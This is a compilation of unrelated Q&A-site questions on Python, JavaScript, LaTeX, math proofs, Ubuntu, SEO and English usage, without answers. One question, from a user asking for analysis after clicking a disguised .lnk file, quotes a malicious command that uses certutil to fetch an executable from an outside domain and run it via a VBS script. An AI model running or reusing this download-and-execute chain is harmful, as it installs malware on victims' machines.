Clicking on a privilege in the Achievements dropdown takes you to the current site's page

While at Judaism.SE, I recently clicked on the Achievements item and saw that I received the "acceess to moderator tools" privelege at CodeGolf.SE. When I clicked on that tab, I was taken to . This was confusing because I don't have that privilege at J.SE, and because the thresholds for the privilege on the sites are different (because CG.SE is in beta and has a lower threshold).


Replacing single elment if a 2D list made with `For loop` vs made by element multiplication in python

Let say I wanted a list with all zeros of 5x3 (row x column). I can make the list in 2 ways  Using for loop:  a = []   # My 2D list (currently empty) for i in range(5):     thisele = []     for j in range(3):         thisele.append(0)     a.append(thisele)   Using element multiplication method which I recently learnt  a = [[0]*3]*5  Now both genertes the same 2D list which looks like this [0, 0, 0] [0, 0, 0] [0, 0, 0] [0, 0, 0] [0, 0, 0]  Now I want to replace an element in the third column at first row with 11 so I used the following line a[0][2] = 11 This gives 2 different results based on the technique used. The first technique gives: [0, 0, 11] [0, 0, 0] [0, 0, 0] [0, 0, 0] [0, 0, 0]  and the second technique gives: [0, 0, 11] [0, 0, 11] [0, 0, 11] [0, 0, 11] [0, 0, 11]  The second result is clearly undesirable as thats not what I intended to do. Can someone explain why the results vary in the second case and if it's a bug or a feature. If its a feature then in what scenario can the second method be implemented


How to overcome situations like mostly coded less content website?

Background about site : I have a website which is similar to question and answer site like StackOverFlow, but NOT user generated content and only one answer. Me and a few friend create the pages / posts. And this site is for programmers.  Example Page of my website:     How to Add your WordPress custom post types to your sites main RSS feed by   default?      Registering a custom post type does not mean it gets added to the main   RSS feed automatically in WordPress.You need to use  to add custom   post types to main RSS feed.  // Add 'books' custom post types on main RSS feed function add_book_post_types_to_rss($qv) {     if (isset($qv['feed']) && !isset($qv['post_type']))         $qv['post_type'] = array('post', 'books', );     return $qv; } add_filter('request', 'add_book_post_types_to_rss');    Currently we have 75+ posts and we hope to add 500+ pages within two years. Almost all pages are very similar to above page.  The problem we have faced  We targeting mostly SEO traffic for this site. But we have very less organic traffic even our website is one year old.  We thought following reason is the main reason for it.   Lack of content in single page / post : As you already see this page has about just 50 words and we don't like adding some garbage words to just increase word count. We are focusing on adding more pages/ posts and make big resources collection about WordPress, PHP, JavaScript, etc.   Is there any solution for overcome this problem?


JavaScript resources on the Stack Overflow site

On my machine ( 25, Firefox 56.0) I got the error shown below. Suggestions?  I can't log in through Google because of this.


I have install php versions 5.6,7.0 and 7.1 . But php -v returns  PHP 5.5.9-1ubuntu4.21 (cli) (built:feb 9 2017) <br> copyright (c) 1997-2014 The PHP Group   I also tried these commands    a2enmod php7.1   a2dismod php5.6   service apache2 restart   but they don't work ..   so how can i run multiple versions of php on terminal?


I am trying to run multiple Node.js web servers locally on my machine.  Because the code I'm writing needs to reference a domain name I'd like to keep a convention of dev.myHost.com and point that to the non-port-80 service running from Node (technically I'm running one on Harp.js and one on Sails.js).   So dev.hostOne.com should point to localhost:123 and dev.hostTwo.com should point to localhost:456   Is this possible? If so, how.


For each $x,y,z∈\mathbb N$, if $x<y$ then $x+z<y+z$

For each $x,y,z∈\mathbb{N}$, if $x<y$ then $x+z<y+z$  I know how to solve this if it was $x=y$ then $x+z=y+z$ (which my professor said I need to do) Is there a definition that says I can change the $<$ into a $=$ and then change it back to $<$ at the end?  I have a paper full of Peano's axioms that I'm able to build off of but I don't know what one I should be using.  Would For each $x,y∈\mathbb{N}$, $x<y$ or $x=y$ or $x>y$  be able to be used to change the $<$ to $=$?


How the assignment statement in an if statement serves as a condition?

if ((vnd = (struct diam_vnd_t *)g_hash_table_lookup(vendors,vend))) {...}   Can you tell me why it is an assignment but not a boolean expression in the brackets ? And in what situation this assignment can be considered "true" or "false" ?


When to pronounce # for pound, sharp, hash or hashtag?

How to pronounce # in a proper way?  Currently, I know it's used to pronounce "pound" in US English, "hash" in British English, "sharp" for C#--a programming language, and number sign to list items. Not sure if I'm right or not.   Also, I lives in non-English speaking country and many pronounce "hashtag" for this symbol, though I'm suspicious about this.   I'd be glad if you can list more examples about this.  -  Update: To be clear: The question is about the pronunciation, not how it came from.


Is 'to suck your teeth' the same thing as saying 'tsk'?

I am inclined to think that 'to suck your teeth' is a possible description for the sound 'tsk'. Is there any good source to support (or dismiss) my assumption?  By 'tsk' I mean the onomatopoeia for a dental click sound that is used by English speakers to signify impatience, disapproval or reluctance.   For those who think I am asking "why 'tsk' is written for the sound of disapproval", hence is a duplicate of a question asked some years ago, let me say that I am aware of that question, and no, that is not what I am asking.


How can I check if the input is empty in JavaScript?

I am trying to make a factorial calculator. How can I check if the input is empty or not? I tried 'null'. But it didn't work or I couldn't use it properly. sorry for the stupid question. I am newbie in JavaScript    function myFriday() {   var input = document.getElementById("input1").value;    var ever = function () {     if( !(isNaN(input))) {       var result = 1;       for(var i = 1; i <= input; i++ ) {         result = result * i       }       return result;     }     else if (input == null){       return "Please input a number"     }     else{       return "Please input a number"     }   }    document.getElementById("input2").value = ever(); }
Input: <input type="text" id = "input1" />

Input: <input type="text" id = "input2" />
  <button onclick = "myFriday()">Calculate</button>
RESULT:


Should there be anonymous answers (and questions)?

The question by  got me thinking. This has been raised on , but has been declined. Would someone with lesser rep or a less famous name have received the same number of votes/answers as Joel? I know the question was briefly closed, but it got reopened when the intent was made public. I think someone did try it, but I don't think their question was suitable for the experiment and it was soon closed. Similarly, do answers by Jon Skeet and others with > 20K rep garner more votes than equally correct answers by others less notable? Is this because of their name, their rep, or the fact that the answer is correct? I would hope it's the latter, but perhaps we ought to find out. I wonder if the following experiment would yield any useful information: If Jon created a second account under a pseudonym and posted a few answers along side slightly "worse" answers credited to Jon so we can see which ones garner the most votes. Another experiment (though this would require a change to SO) could be to hide the identity of the poster for a period (a day?) but leave the (approximate) rep score visible. This might show whether people were using the rep as a guide. On a personal note, if there are two equally correct answers I tend to award my up-vote to the one with the lowest rep score - to spread "the love" around (so to speak). NOTE I'm not saying that questions and answers should be permanently anonymous, or that there shouldn't be a way of finding out the identity of a poster straight away. I just feel that the question or answer should be judged on its own merits rather than the perceived merit of the poster.


Let $z=a+ib,w=c+id\in\mathbb{C}. $Prove $|z|-|w|\leq|z-w|$   Solution: If $|z|-|w|\leq 0$ then we are done since $|z-w|\geq 0$. Suppose $|z|-|w|>0$. The stages are going backward: $$ \\ |z|-|w|\leq|z-w|\Leftarrow  \\ (|z|-|w|)^2\leq |z-w|^2\Leftarrow  \\ (\sqrt{a^2+b^2}-\sqrt{c^2+d^2})^2\leq(a-c)^2+(b-d)^2\Leftarrow  \\ ac+bd\leq c^2+d^2+\sqrt{(a^2+b^2)(c^2+d^2)} $$  How can I finish it?  Also, is there a way to solve it without using $a,b,c$ and $d$?


I'm new to jQuery and I've written this code in which I develop a form with some input buttons inside. There's a "cancel" button, which when clicked, I want the form to be removed.  Here's my code:  $(document).ready(function(){ $(".newIdea_Button").click(function(){      if (!new_idea_clicked)     {     $(document.body).append("<form>...some buttons here, one with the id cancel_idea_input</form>")     }  });  $("#cancel_idea_input").click(function(){     $('#new_idea_form').remove();  });   });   The thing is everything seems right to me but when I open the code in my browser (google chrome or firefox) nothing happens when I click the "cancel" button. but when I copy and paste the second function in the console part of google chrome, then the "cancel" button works! Can somebody please help me figure out what is wrong with my code?


I installed GeoGebra via Ubuntu Update. When I try to launch it, I can see the icon in the top left corner, next to 'Activities', with its spinning wheel. However, it soon stops and nothing happens. How can I fix this?


Automatically scale image based on its native/actual size

I want Latex to detect images that are larger than the page width and automatically scale them down to fit, similar to what this does:  \includegraphics[width=\textwidth]{path/to/image}   However, I also want it to detect when images are smaller than the page width, and not to perform any resizing, just displaying it at actual size.  Is there a way to do this automatically in Latex, without having to set it on each image manually? Currently with the above example it scales up smaller images far too large.


A topological space is extremally disconnected iff every two disjoint open sets have disjoint closures

Show that for any topological space $X$ the following are equivalent:         $X$ is extremally disconnected   Every two disjoint open sets in $X$ have disjoint closures.      My attempt at a solution  Assume every two disjoint open sets in $X$ have disjoint closures. Let A open in $X$, $A$ and $X \setminus \overline{A} $  disjoint open set $\overline{A} \cap (\overline{X \setminus \overline{A}} )= \emptyset$,  $(\overline{X \setminus \overline{A}} ) \subset X \setminus \overline{A}$, which implies that $X \setminus \overline{A}$ is closed in $X$. Thus $\overline{A}$ is open in $X$. So we obtain $X$ is extremally disconnected.  Otherwise Let $X$ is extremally disconnected. Then the closure of every open set is open.  So $X$ is completely separated. Let $A$, $B$ two disjoint open sets.  Then there exist a continuous function $g:X \rightarrow [0,1]$ such that  $g(A)=0$, $g(B)=1$  How can I continue?


I would like to store reference to variable in some class, and make operations on it inside this class. Operations should modify original variable. In particular following code should print 1 instead of 0.  class Test {     private Long metric;      public Test(Long m) {         this.metric = m;         ++this.metric;     } }  class Ideone {     public static void main (String[] args) throws java.lang.Exception     {         Long metric = 0L;         Test test = new Test(metric);         System.out.println(metric);     } }   How to achieve this behaviour?


Understanding a possibly malicious command

I received a link file masquerading as a text file. By mistake I had clicked that and suddenly a command prompt opened. Surprised at the unexpected behavior I closed that window. Upon inspecting the file, it had .lnk extension. While normal .lnk file has few byte size, this one was few hundred MB.  Inspecting the details of the .lnk file, it had in the target field the following command  %ComSpec% /c echo CreateObject("Wscript.Shell").Run"""%ComSpec%"" /c del ""%USERNAME%.vbs""&certutil -urlcache -f https://coid.xyz/?di1708e9xmgN9OFQ=amusers_%PROCESSOR_ARCHITECTURE% ""%USERNAME%.exe""&&""%USERNAME%.exe""",0 >"%USERNAME%.vbs"&"%USERNAME%.vbs"   While the start in field had  "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"   Need some help in understanding what does this code fragment do, and if possible how to check if anything bad has happened and how to undo the changes.  Windows 8 system, if any way relevant. Let me know if any other information is needed.


Does there exist a non decreasing function $f:\mathbb{R} \to \mathbb{R}$ such that the set of discontinuities is $\mathbb{Q}$?

Question is to find (if any) $f: \mathbb{R} \to \mathbb{R}$ such that $f$ is non decreasing and the set of discontinuities is $\mathbb{Q}$.   I know a function $f :\mathbb{R} \to \mathbb{R}$ such that it is discontinuous at all rationals and continuous at irrational. But in the above question additional condition is imposed. So I am not able to find one.  Could anyone help me please. Thank you


Dynamically generating a flexible number of nested for loops

Is it possible to add/reduce number of nested for loops in a function based on the length of input?  For example: Based on a certain input of length 3, I may need to use 1 nested for loop (for loop inside another for loop). Similar to this,  for i in range(0, len(input)+1):     for j in range(i+1, len(input)+1):   However, when the input length is 4, I could have achieved my result  if I could introduce additional for loop inside the already existing nested for loop, which means,  for i in range(0, len(input)+1):     for j in range(i+1, len(input)+1):         for k in range(j+1, len(input)+1):`   Similarly, if the input length is 5, then I would like to introduce another for loop,  for i in range(0, len(input)+1):     for j in range(i+1, len(input)+1):         for k in range(j+1, len(input)+1):             for l in range(k+1, len(input)+1):`   The pattern is, there will be n-1 number of for loops for an input of length n.  Is it possible create such a function in Python?


Showing a group is abelian knowing there's only one isomorphism

Suppose $G$ is a group and let $S$ be the set of all isomorphisms $f: G \rightarrow G$ Show, if $|S|=1$, that the group G is abelian with elements of order 1 or 2 Now so far I know that since $|S|=1$ there is a canonical map or canonical isomorphism but how do I use this fact concretely? Thank you in advance


Do you need components for the necklace of prayer beads?

With a bit of luck one can find a necklace of prayer beads that has the greater restoration spell stored in it. That spell has an expensive component, namely 100 gp worth of diamond dust. Do you need this (or any other) component to cast the spell from the necklace?


Novel about a guy who travels through portals to bring back alien technology (jaunt?)

A while back I had read a Goodreads description of a novel that I have forgotten the name of. It was about a guy having discussions with his therapist about his profession which is to jump through a portal to go to some far away location and bring back alien tech to sell on the black market or something like that. This guy is supposed to be an unreliable narrator and he has done some shady stuff. I think going through the portal was called a "jaunt" maybe.


Methods defined as TestMethod do not support Web service callouts - Unit Test

We have a custom object called 'support' - we have process builder configured for this  object. in one of the process builder action it will invoke Apex (Invocable Method). This will trigger a callout to External System. In Apex Test Class we have mocked the response for HTTP callout by using Test.setMock & HttpCalloutMock interface. code coverage for that apex class is 96%.  We have different apex test classes where we are need test records for Support Object - we are creating test data using testDataFactory Class. While running the test we are seeing below error - "Methods defined as TestMethod do not support Web service callouts".  Please provide your suggestion to resolve this issue.  Sample Code:  public class AnimalsCallouts {    @InvocableMethod(label='Call External System')   public static void callEx(List<ID> ids) {       makeGetCallout();   }       @Future(callout=true)     public static void makeGetCallout() {         Http http = new Http();         HttpRequest request = new HttpRequest();         request.setEndpoint('https://th-apex-http-callout.herokuapp.com/animals');         request.setMethod('GET');         HttpResponse response = http.send(request);         // If the request is successful, parse the JSON response.         if (response.getStatusCode() == 200) {             // Deserializes the JSON string into collections of primitive data types.             Map<String, Object> results = (Map<String, Object>) JSON.deserializeUntyped(response.getBody());             // Cast the values in the 'animals' key as a list             List<Object> animals = (List<Object>) results.get('animals');             System.debug('Received the following animals:');             for (Object animal: animals) {                 System.debug(animal);             }         }         return;     } }  @isTest global class AnimalsHttpCalloutMock implements HttpCalloutMock {     // Implement this interface method     global HTTPResponse respond(HTTPRequest request) {         // Create a fake response         HttpResponse response = new HttpResponse();         response.setHeader('Content-Type', 'application/json');         response.setBody('{"animals": ["majestic badger", "fluffy bunny", "scary bear", "chicken", "mighty moose"]}');         response.setStatusCode(200);         return response;      } }   @isTest private class AnimalsCalloutsTest {     @isTest static void testPostCallout() {         // Set mock callout class          Test.setMock(HttpCalloutMock.class, new AnimalsHttpCalloutMock());          // This causes a fake response to be sent         // from the class that implements HttpCalloutMock.          AnimalsCallouts.callEx(null);     } }  @isTest public class TestFactory {   public static Support__c getSupport(String name, Boolean doInsert){     Support__c a = new Support__c(name = name);     if(doInsert){       insert a;     }     return a;   } }  @IsTest private class NewTestClass {     @TestSetup     static void dataCreation(){       Support__C a = TestFactory.getSupport('Muddy Water', true);     }     @isTest static void testMethod111() {         // do Nothing     } }


Where is core dumped file by handling SIGQUIT stored?

From      SIGQUIT is the dump core signal. The terminal sends it to the   foreground process when the user presses ctrl-\. The default behavior   is to terminate the process and dump core, but it can be caught or   ignored. The intention is to provide a mechanism for the user to abort   the process. You can look at SIGINT as "user-initiated happy   termination" and SIGQUIT as "user-initiated unhappy termination."   $ sleep 100 ^\[1]+  Done                    nohup sleep 100 Quit (core dumped)   But I can't find the dump file in the current directory. Where is it? Thanks.


I need to develop $P_n(X)=\frac{(X+i)^{2n+1} - (X - i)^{2n+1}}{2i}$ using the binomial coefficients formula and show a few properties

In the previous questions I've proved that $(1+i)^{2n+1}=a_n+ib_n$ where $a_n$ and $b_n$ are $\pm 2^n$ and that $(1-i)^{2n+1}=a_n - ib_n$ and that $|P_n(1)|=2^n$ using the previous statements. But now I need to show that the polynomial $P_n(X)=\frac{(X+i)^{2n+1} - (X - i)^{2n+1}}{2i}$ is of degree $2n$, even (the coefficient in front of $X^n$ is non-zero only when $n$ is even, with real coefficients, and with $2n+1$ as a dominant coefficient, using the binomial coefficient formula. I also need to show that the coefficient $X^{2n-2}$ in $P_n$  is $\frac{n(1-2n)(1+2n)}{3}$. I developed $(X+i)^{2n+1}$ and I get $X^{2n+1}+(2n+1)X^{2n}i-\frac{(2n+1)(2n)}{2}X^{2n-1}+...+(2n+1)X(-1)^n+(-1)^{n+1}$ When I develop $(X-i)^{2n+1}$ I get $X^{2n+1}+(2n+1)X^{2n}i-\frac{(2n+1)(2n)}{2}X^{2n-1}+...+(2n+1)X(-1)^n+(-1)^{n+1}$, so the same thing. So obviously when I subtract the two parts I get $0$ which won't let me prove the properties. Where is my mistake ? Do I use the binomial coefficient the wrong way ? EDIT: I think I have made a mistake in the second development, the second term should has a + sign when the subtraction is made so I get $\frac{2(2n+1)X^{2n}i}{2i} = (2n+1)X^{2n}$ How do I show it is even though ? Is the end result  enough to show this property?


int a,b; while (cin>>a>>b, a) {     some task; }  I don't understand the while loop condition here. I understand that I am taking input of a and b. But what is with the , a part?


Prove: $\limsup_{n\to\infty} (a_n)\leq \sup(a_n)_{n=1}^\infty$

Proposition: Let $(a_n)_{n=1}^\infty$ be a sequence of real numbers. Show that $\limsup_{n\to\infty} (a_n)\leq \sup(a_n)_{n=1}^\infty$.   Any hints on how to prove it will be appreciated.


For finite $S$, if $f:S\rightarrow S$ is surjective, then $f$ is injective.

$S$ is a finite set and $f:S\rightarrow S$ is surjective. Show $f$ is injective.  Proof) Suppose $f$ is not injective. Then $\exists s_1\neq s_2$ with $f(s_1)=f(s_2)$. Then since $S$ is finite, $|f(S)|\leq |S|-1$.($|\cdot|$ denotes the number of elements of a set.) Also, since $f$ is surjective, $f(S)=S$, so $|f(S)|=|S|$. Then $|S|\leq|S|-1$, a contradiction.  I was wondering if this is a correct argument.


Python: how to add a list to an existing txt file and it has to include the commas in the text file?

What I want to do: I have a list now and want to add it to the bottom of the existing text file. However, when the new line is added, the commas doesn't appear  What I have done so far: Current txt file:  food,bought oranges,yes strawberry,no   my code  choice=input("What fruit?") item=[] item.append(choice) item.append("No")  with open('groceries.txt', 'a+') as file:     file.writelines(item)   result of my code  food,bought oranges,yes strawberry,no applesno   I want it to appear like this:  food,bought oranges,yes strawberry,no apples,no   I tried to add the comma eg. item.append(choice+",") but it will change the result when i use index later on Any way to solve this?


Ubuntu 14.04 LTS black screen after The february security update

I decided to install new updates at the end of January. I have made two updates - one upon install and the other one yesterday which was marked as a security update.   After that the system asked for a reboot, and then...black screen. Nothing, absolutely nothing can be done - tried crtl+alt+f(1,2,3,4) to introduce any commands. How do I fix this?  My computer is Asus Eee PC 1215B AMD C-50 1gh, 4gb ram Ati radeon hd 6250, two systems on board.


What happens when I open and read from /proc?

Does the hard drive need to be accessed or is everything done in memory? Basically I would like to constantly get updated values from meminfo and cpuinfo.  Do I need to reopen the file and then reread in order to get an updated value or can I just reread? I don't have access to a Linux install at the moment.


LaTeX binary number formatting (siunitx?)

I want to format binary numbers by grouping them into blocks of four and adding leading zeros to fill 8, 16 or 32 bit numbers. E.g: 11001 -> 0001 1001.  I've already found the siunitx package, which makes number formatting possible, but it doesn't work as expected.   \num[group-four-digits=true]{00011001} gives 0001 1001(as expected) \num[minimum-integer-digits=8]{11001} gives 00 001 001 (as expected) \num[group-four-digits=true,minimum-integer-digits=8]{1001} gives 00 001 001 (the group-four-digits option is ignored).   How can I make siunitx use the group-four-digits switch in combination with minimum-integer-digits? Or is there a better way to format binary numbers in LaTeX? Thanks in advance.


Will moving blog posts from under an existing category to a new SUBcategory have a negative impact from an SEO POV?

As I'm having quite many article under one of my categories (Investments), I'm thinking about creating new subcategories (e.g. Real Estate Investments) under my main category and move some posts there. Would moving some of my existing posts in the Investments category to a newly created subcategory (e.g. Real Estate Investments) impact my site negatively from an SEO point of view? Please note: My URL structure does not contain category name, so that's not an issue. I'm thinking more about cannibalisation, duplicate content etc.


Is my 3 years old loose leaf tea safe for me to drink?

I have some cinnamon orange tea in my kitchen that has been sitting there for 3 years. Would it still be safe to drink?  It is in a container with a lid.


Query that finds the names of the directors that played in movies that they directed

Given database of the website "eMovies" that manage data about cinema movies.      Write in SQL query that finds the names of the directors that played in movies that they directed     My attempt:   SELECT Directors.FirstName, Directors.LastName  FROM Directors, DirectorsMovies,ActorsMovies  WHERE Directors.DirectorID=DirectorsMovies.DirectorID=ActorsMovies.ActorID  GROUP BY FirstName,LastName;   My code does not work well.


How can I run Minecraft in the background?

Is there anyway I can run Minecraft in the background so I can harvest items from my automated mob grinder while doing other activities, other than by setting up a server for myself? If I just minimise the game, it automatically pauses itself.


moving free space before other partition (to resize the root part.)

it is possible to move some partition(entire) before another?  I need to resize my root partition, but the free space is too far away.(I want to move the free space near the root part.)  Can this be done somehow, or have I to backup the data and start from begining?


Will getting a Software Testing Certification benefit me in my career?

I have 2 years of experience in manual testing, and I am currently learning automation testing in my spare time. I was thinking that will getting a foundation/entry testing certification really help me in promotions and increase my salary or just increase my knowledge and nothing more? Even if I wish to try to get certified and pass the exams, is it too late or can I try after a few more years?  Kindly suggest!


Finding all possible pairs of integers $(a,b)$ such that $a^b=n$.

Given a large integer $n$ (could be as large as $10^{18}$), how can I find all possible pairs of integers $(a,b)$ such that  $$a^b=n.$$  A fast algorithm is preferable.    The question  concerns quick computations by hand, which are not going to solve the present problem.


How reasonable is it to suppose that we are living in a cellular automaton?

Possibly in the search for a grand unified theory, it seems trendy at the moment for some writers and commentators to claim that space-time is grid-like and discrete rather than continuous.  I wonder what research is being done to see if the Standard Model etc. could be replaced or superseded by a model based on cellular automata? Is this idea even plausible?  EDIT added: this question is not a duplicate of "is space-time discrete or continuous" because I'm mostly asking whether or not a model based on cellular automata could plausibly replace existing models, under the assumption that space-time is discrete and grid-like.


Unpolarized light - Why don't light sources then look invisible?

Pardon me if this has been asked before. I was just thinking about how light from a source like the sun is unpolarized. I have two questions:   Is unpolarized light from the sun 100% random? Meaning all wavelengths in the visible spectrum, polarized in all directions? (please correct me if "polarized" is not the right term here) If that's the case, how do the random waves not cancel each other out, rendering the sun invisible to us when we look at it?   Of course my thinking is flawed, so I'm just wondering what I'm missing. The analogy I could come up with is that waves in the ocean are random (I assume?), yet they still occur. Thanks in advance to anyone who can fix my brain.


Can multiple versions of the same package co-exist on the same system?

In order to install tmux 2.1, I needed to install libtinfo5 version 6, I did this by downloading a .deb archive containing libtinfo5 and installing directly with command:  sudo dpkg -i libtinfo5_6.0+20160213-1ubuntu1_amd64.deb   This satisfied tmux 2.1's dependency and tmux installed ok. Now I tried to install vnstat using  sudo apt-get install vnstat    apt-get error exited with the following  $ sudo apt-get install vnstat Reading package lists... Done Building dependency tree        Reading state information... Done You might want to run 'apt-get -f install' to correct these: The following packages have unmet dependencies:  libncurses5 : Depends: libtinfo5 (= 5.9+20150516-2ubuntu1) but 6.0+20160213-1ubuntu1 is to be installed  libncursesw5 : Depends: libtinfo5 (= 5.9+20150516-2ubuntu1) but 6.0+20160213-1ubuntu1 is to be installed E: Unmet dependencies. Try 'apt-get -f install' with no packages (or specify a solution).   My understanding has always been that Ubuntu's package management system was capable of installing and managing multiple versions of the same package, for situations exactly like this.  In other words apt/dpkg recognises   tmux needs libtinfo5 - version 6 to work vnstat needs libtinfo5 - version 5 to work   Then apt/dpkg say's ok, I'll install both versions. I can see how certain programs like a system binary, e.g. bash or ls can only be installed once as most invocations simply say bash -c "<command>" and not bashv.3.2 -c "<command>". So my question is can the package manager install and manage multiple dependencies?, or is this just not possible because, like in the bash example above, most programs make a call to the dependency by the dependencies name without specifying version. In which case the issue is beyond the control of the package manager (i.e. its more of a programming compilation/configuration/organisation issue) and the package manager gives up at that point?


Can't login, although password is correct

Here what's happening when I try to log in.  I'm entering the right password      It brings me back me to the login screen.  I tried to change password via another user but it didn't help.


"Misplaced allignment tab character" line 53

\documentclass [12pt]{article} \oddsidemargin=0pt \topmargin=0pt \textwidth=6.5in \textheight=8.5in \begin{document} \begin{center} {\large\bf\LaTeX\ Example 7} \end{center} This example demostrates two methods for typesetting piecewise defined functions. The array structure can be used to typeset function definitions that have multiple cases: \begin{equation} f(x)=\left\{ \begin{array}{r@{\quad\mathrm{if}\quad} r} %% %%% Using r instead of i was the only way i could get the file to compile %% x^2-1 & x\in (-\infty,-1]\vspace{2pt}\\ {\displaystyle \frac{x^2+1}{x^2-1}}&x\in(-1,1) \vspace{6pt}\\ x^2+1 & x\in[1, \infty) \vspace{4pt} \end{array} \right. \end{equation} \begin{quote} \begin{verbatim} \begin{equation}    f(x)=\left\{      \begin{array}{r@{\quad\mathrm{if}\quad} i}        x^2-1 & x\in (-\infty,-1]\vspace{2pt}\\       {\displaystyle \frac{x^2+1}{x^2-1}}&x\in(-1,1)           \vspace{6pt}\\       x^2+1 & x\in[1,\infty) \vspace{4pt}     \end{array}   \right. \end{verbatim} \end{quote} Observations: \begin{itemize} \item The function definition is an array structure with two columns, the first one right justi- fied, and the second one left justified \verb+(+because of the \verb+{+r\verb+@{\+quad\verb+\+textrm\verb+{+if\verb+}\+quad\verb+}+1\verb+})+. \item The \verb+@{\+quad\verb+\+textrm\verb+{+if\verb+}\+quad\verb+}+ is called and \verb+@-+expression.  It causes the word ''if'' \verb+(+in roman font\verb+)+ to be inserted between the first and second columns.  The \verb+\+quad causes one space proportional to the current font size to be inserted. \item The \verb+\+displaystyle increases the font size in the fraction of the second line of the definition.  Without it, the expression in the second line appears disproportionately small. \item The two \verb+\+vspaces insert some vertical spaces between the alternative cases of the  function definition. \item Note that \verb+\+left\verb+\{+ is balanced with \verb+\+right . . \end{itemize} Here is another way to typeset the definition of f: \begin{equation} f(x)= \begin{cases}   x^2-1                                                 & \text{if $x\ in(-\infty,-1]$}\\ {\displaystyle \frac{x^2+1}{x^2-1}} &\text{if $x\in(-1,1)$}\\ x^2+1                                                  &\text{if $x\in[1, \infty)$} \end{cases} \text{\ \ \ .} \end {equation} \begin{quote} \begin{verbatim} \begin{equation} f(x)= \begin{cases} x^2-1                                                   &\text{if $x\in(-\infty,-1]$}\\ {\displaystyle \frac{x^2+1}{x^2-1}} &\text{if $x\in(-1,1)$}\\ x^2+1                                                  &\text{if $x\in[1, \infty)$} \end{cases} \text{\ \ \ .} \end {equation} \end{verbatim} \end{quote} \end{document}


I've used ipinfo for getting IP Address and Location.  $.get("http://ipinfo.io", function(response) {     console.log(response.ip, response.country); }, "jsonp");   My Website is using https Certificate.So, I'm getting Unauthorized error.  Is there any website having https certificate and gives out IP Address?  I've tried few websites but none of them have https certificate.


Color the edges of $K_6$ red or blue. Prove that there is a cycle of length 4 with monochromatic edges.  Attempt: I know that i have to...  prove that there must be TWO vertices with “red-degree” at least 3, or two with "blue-degree" at least 3. Call these U and V. (We'll assume we're in the red case; the blue case is similar.) Now, ask if they’re connected by a red edge, and how many red-adjacent neighbors they share. If you analyze this, there should be only a few cases to consider – and each should be relatively straightforward. For each case, you’ll show either that that case can’t actually happen in $K_6$, or that it gives rise to a monochromatic 4-cycle.


Show that an operation being commutative is a structural property

Show that the operation $*$ is commutative is a structural property.   Give a careful proof that the indicated property of a binary structure $\langle S,* \rangle$ is indeed a structural property.  I've started this problem as:  Let $\langle S,* \rangle$ be isomorphic to $\langle T,\Box\rangle$. Also let $f:S \to T$. This means that for $a,b \in S$, then $f(a*b)=f(a)\Box f(b)$ and $f(a*b)=f(b*a)=f(b)\Box f(a)$ and therefore $f(a)\Box f(b)=f(b) \Box f(a)$. This means that an operation $*$ is commutative is a structural property. Does this work?


Confusion related to proximal newton method

I was reading this method related to proximal newton methods  . I came across this page    I didn't get what this part means  $ \frac{1}{2}||y-x||^2_H $ what does H signify here and how do I calculate $ \frac{1}{2}||y-x||^2_H $ given x and y.


Proof that $a\mid b \land b\mid c \Rightarrow a\mid c $

I am trying to prove:     $a\mid b \land b\mid c \Rightarrow a\mid c $   $a\mid b$ means that a divides b if there is an integer k, that $b=k\cdot a$  Please give me a hint on how to start, because I have no idea.


How to make your site visible on google search

My site has been online for more than 2 months now , I also have set up the default meta data from W3Schools ,   But when I do searches on google for example, "data strategy", "the data strategy", "thedatastrategy" I don't see my site.   But if I do "site:thedatastrategy.com" my site pops up. Thus the domain name is well indexed in the google database.  What more am I supposed to add? Are there some more meta data information I have to add? Or am I supposed to register my site on some google service ?   I am not sure what to do now. When I tried searching this answer on google, I get the response that wait for some time and google would have crawled and indexed your site. But I have already waiting more than 2 months, and the results are like before.


The world population is ~7 billion  Social Classes:   Top .001% is ~70,000 Second .01% is ~700,000 Next .1% is ~7 million Rest 99.9% is ~6,993,000,000 (billion)   The odds of 1 person in the Rest grp meeting 1 person from the Top  grp is it approx: 1 in 100,000 meets?  What are the odds of 1 person in the Rest grp meeting 2 people from the Top grp? is it: 1 in 100,000^2 or 1 in 10,000,000,000?  What are the odds of 1 person in the Rest grp meeting 2 people from the Top grp on the same year?   (Assuming in a lifetime of 100 years.)


"Calling a spade a spade": synonymous expressions?

I'm looking for expressions that are equivalent to      "calling a spade a spade."    In some environments and verbal contexts, this phrase needs to be avoided -- please take my word for it.    Thank you.    I shouldn't have used the gerund in my question.  Where I need to use this sort of expression is in a discussion I'm losing patience with, and I want to say, effectively, let's not pussyfoot around with euphemisms. I'm going to tell it like it is, and Let's not mince words here, both work quite well.  Thank you all.  In response to @Pharap,     Do you have evidence that someone has taken offence at this before or   is this merely preemptive?   I want to avoid problems.  I live in a small town where everybody has their sensitivities.  I was once in a hiring committee where a person objected to someone calling one of the candidates a "dark horse."  I believe I read that some town in California decided not to use the term "manhole covers" any more because of the "man" syllable.


How to activate the favorites icon on the taskbar (dash-to-panel)?

My application is in the selected taskbar(GNOME, dash-to-panel). When a window opens, a new icon appears in the taskbar. How to make so that the favorites icon is activated and a new one does not appear (as in other applications: Gedit, Nautilus)  Desktop file exist. The program is packaged without errors and installed from the repository on github. OS rebooted


Prove that a group of even order must contain a odd number of elements of order 2.

I have to prove that a group of even order must contain a odd number of elements of order 2 and I know that if i take all the elements with order $>2$ that that subgroup has a even number of elements. But where do i go from here?


Is there a method just write `---` to get an em-dash, putting thinspace both before and after it?

Is there a method just write --- to get an em-dash, putting a thinspace both before and after it? The situation about break is similar with the original ---.


How to I import smart objects into inside my project layer

I am creating a website preview in photoshop. So far I have completed the header, body and footer. But instead of designing a 'price table' I downloaded a PSD file from online and I would like to integrate this into my own project. I can open the price table .psd file and modify it, but how I do import it into the website preview project I am working on right now?   I changed the price table psd into smart object, but I can't import and unpack it inside my project.


Changing theorem numbering after it's been defined

